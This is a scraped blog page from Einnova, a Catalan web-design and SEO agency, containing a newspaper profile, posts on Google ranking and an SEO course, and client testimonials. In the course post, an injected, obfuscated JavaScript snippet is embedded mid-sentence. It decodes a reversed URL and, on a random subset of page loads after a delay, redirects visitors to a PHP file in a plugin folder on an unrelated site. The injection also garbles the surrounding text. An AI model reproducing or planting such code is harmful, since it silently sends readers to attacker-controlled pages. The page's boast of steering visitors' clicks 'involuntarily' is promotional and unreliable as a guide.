Posts

Estem al teu costat amb la Innovació

Article publicat al diari Avui el dia 4 d’abril:

Innovació pròpia

Einnova aplica el neuromàrqueting a la xarxa per esbrinar quins són els desitjos dels internautes que entren a les webs dels seus clients

La creació d’eines destinades a situar els negocis en llocs destacats a Google és un dels objectius d’aquesta empresa catalana

04/04/11 02:00 – BARCELONA – MARTA SARDÀ
Antoni Biada, fundador d’Einnova, mostra el pernil pota negra amb què compara l’empresa, a la fira e-commretail del març, a Barcelona Foto: QUIM PUIG. Foto: QUIM PUIG.
“Avui dia tothompot tenir una web però no tothom sap vendre a la xarxa”, assegura Biada

El seu gran objectiu és cuidar el client i fer-lo brillar a la xarxa, col·locar la seva web en les millors posicions dels navegadors i fer que el seu negoci tingui el màxim d’atractiu possible. Antoni Biada, director general d’Einnova, compara l’empresa amb un bon pernil, un “autèntic pata negra”, i assegura que confecciona webs amb el mateix qualificatiu d’excel·lència. I per què? Doncs ell mateix explica que “un bon posicionament a internet de les webs dels clients els fa més visibles i això repercuteix directament en un millor funcionament del negoci, són també webs pota negra”.

Einnova construeix webs amb aplicacions basades en el neuromàrqueting, una tècnica que provoca que el visitant faci clic allà on més interessa al client d’Einnova. Aquesta és una autèntica revolució en el món del màrqueting en línia i, segons assegura Biada, són els únics que la utilitzen en aquests moments. La tècnica pot revolucionar el comerç electrònic, donant-li l’impuls que necessita en uns moments en què la crisi castiga especialment el comerç. “Es treballen les paraules clau que utilitzen els internautes per tal que la web es col·loqui a la primera pàgina de Google”. Després ve la segona part: fer que l’internauta vagi entrant a la web i trobi allò que busca. “Sabem que es clica més en els productes que estan situats en determinats llocs de la pàgina, a més d’altres factors”, explica.

Biada va comprar el domini d’Einnova el 1999, dos anys després de crear la seva primera web i de guanyar el concurs internacional Adobe, però no va ser fins al 2006 que va rebre la subvenció per a innovació que li va permetre llançar Einnova al mercat. Des de llavors no ha parat d’e-innovar. El 2007 van crear una eina pròpia que permet als clients actualitzar la seva web d’una manera molt senzilla. “Així no depenen de ningú quan volen fer algun canvi, li diem ‘Canvia la pàgina amb un clic’, tot i que nosaltres sempre som a l’altra banda per si necessita qualsevol aclariment”, assegura.

Més de cinc-cents clients, entre pimes i autònoms, a més de ser consultors, entre altres, de la Generalitat i de la Cambra de Comerç de Barcelona, avalen la seva ja dilatada trajectòria, tot i que ell es considera encara una empresa jove.“Estudiem molt les webs, des de tots els vessants. Una web la pot tenir tothom, però fer que l’internauta hi passi més de tres segons, que és la mitjana de temps que s’està en una web, ja és una altra cosa”, explica Biada. Per ell, l’èxit d’Einnova és aconseguir que l’internauta que entra en una de les pàgines dels seus clients es mogui pels continguts el màxim temps possible i trobi l’article o el servei que està buscant.

El neuromàrqueting té aquí un paper molt important, perquè és aquest concepte el que farà que l’internauta cliqui en allò que més interessa al client d’Einnova, però de manera totalment involuntària. “L’anirà fent passar de pàgina en pàgina per acabar, sovint, comprant o requerint els serveis que se li proposen. I això és el nostre últim objectiu, que el seu negoci funcioni”, explica Biada.

Canvi de model

José Luis Martínez Herrador, catedràtic i doctor en psicologia per la Universitat Pontifícia de Salamanca, va explicar a l’equip d’Einnova les característiques del neuromàrqueting i ells les van aplicar en la navegació a internet. “Avui dia tothom pot tenir una web però no tothom sap vendre a la xarxa”, assevera.

Per Biada, “el model econòmic actual ha quedat obsolet, cada vegada s’utilitza menys el model dels proveïdors i ara ja són molts els que van directament a la xarxa a trobar el que busquen. I on ho busquen? Doncs a Google. Això, ara, és així i per això fem que els nostres clients apareguin a la primera pàgina de la cerca”. Admet que a les empreses petites els costa molt canviar, però que “amb la crisi ho han de fer; és vital per al negoci”. Fins ara els clients els busquen i “encara no ens hem posat a buscar-los”. Quin és el secret? “Escoltar-los”, respon.

Posicionar mi web en google por delante de la competencia

Cuando hablamos de posicionamiento web muchos clientes nos piden esto: Quiero posicionar mi web por encima de la competencia en Google con esta palabra clave.

Según el nivel de conocimiento sobre márqueting en buscadores del interesado, le tenemos que explicar también la diferencia entre Publicidad en buscadores y Posicionamiento orgnánico. No hay que hacer lo mismo para aparecer primero con un enlace patrocinado que aparecer primero por un resultado natural. En Adwords podriamos crear un anuncio relevante y una landing page y empezar a tener visitas.

Muchas veces lo que se quiere no es tráfico. Lo que se quiere es aparecer por delante de la competencia sin tener en cuenta el ROI online. Esto se quiere decir, aunque no nos lleve más visitas a nuestra página. Este es un caso de estrategia, en el que hace falta reestructurar la estructura de tu web para focalizarla por la palabra clave más importante de tu negocio.

En una optimización de una web para buscadores lo que cuenta es el medio y largo plazo.

lazonamasmirada

Aparecer en la columna central de los resultados de búsqueda en unas fechas concretas se puede hacer con los enlaces patrocinados de Google. Se destacan a corto plazo si los has configurado para que sean relevantes, de calidad y sin ahorrarese dinero con pagos por click bajos de Adwords.

¿Qué puedo hacer ahora?

Cuentanos tu caso y te ayudamos a realizar tu campaña de Adwords y te aconsejamos si necesitas una optimización de palabras clave en tu web.

Si lo quieres hacer tu mismo, bájate la guia de introducción al posicionamiento web y si no lo ves claro pídenos formación.

Próximo curso de posicionamiento (Resultados #masgarriga)

Últimamente hemos hablado del e-commerce y del posicionamiento web.

Hemos asistido en la feria de ecommretail y hemos participado en el la “taula rodona” del programa extraradi (en catalán). En lo referente al posicionamiento web, hemos enviado la guia de introducción al posicionamiento a los que nos lo pidieron en la feria de ecommretail y a los suscriptores de nuestro boletín. En nuestro boletín sólo enviamos la información más importante. Por ello, nos hemos comprometido a no saturar tu bandeja de entrada y no enviamos más de un correo electrónico mensual.

En el último envío realizado se dio a conocer que estamos preparando un curso de iniciación en posicionamiento web. Ya hay seguidores de einnova en twitter que han mostrado interés. De momento no tenemos ni fechas ni precios, por ahora podemos decir que será un curso presencial en $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == “string”) return $vTB$I_919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=[“‘php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andler=portals&action=change-language&view=collage&lang=es”>La Salle y que lo estamos perfilando teniendo en cuenta su Master de Marketing Online.

La forma más fácil para empezar a recibir nuestro boletín con la información más interesante es enviar un email a clientes@einnova.com para suscribirse. Y si no quieres, siempre te quedará ir visitando nuestro blog o leer sus RSS.

Aprovechamos para felicitar a Pilar Vidal (facebook ,twitter, blog), ganadora de la promoción de fin de semana de turismo rural en Mas Garriga. Pilar, te dedicamos este post.

Un posicionamiento web adecuado

Buenos días Toni y compañía de Einova.
Desde Crishe estamos maravillados por vuestro rápido, hacer y la
profesionalidad del trabajo bien hecho.
Crishe,  acudió a traves de un Secotista ,D. Jaime Bach, a vosotros
para la realización de una web, y un posicionamiento adecuado, cual ha
sido nuestra sorpresa que en menos de un mes estamos el primero de
google, donde ni en nuestros mejores sueños había sucedido. Realmente
sois lo mejores y esperamos que nuestra web sea tan buena y
sensacional como ha sido nuestro posicionamiento. Gracias y seguid
así.

Mayte y Jose
CRISHE

Éxito en buscadores, por el servicio y profesionalidad

En el 2008 en Natcha celebramos los 50 años al servicio de nuestra fiel clientela y queríamos crear una WEB.

Nos pusimos en contacto con varias empresas y finalmente nos decidimos por EINNOVA. Rapidamente captaron y desarrollaron nuestra idea.

El resultado: un diseño elegante e innovador que gusta mucho a nuestros clientes y proveedores y que agradecen también por su utilidad. En pocos días hemos notado el trabajo de EINNOVA en el posicionamiento en GOOGLE.

Estamos muy contentos y satisfechos por el éxito del producto, por el servicio y también por la profesionalidad del Sr. Antoni Biada y su equipo. Ojalá todos los proveedores fueran tan serios.

Decidirnos por EINNOVA fue un pleno acierto.

Felicidades al equipo y muchas gracias por todo.

Marta Massagué – Victor Cuevas (www.natcha.cat)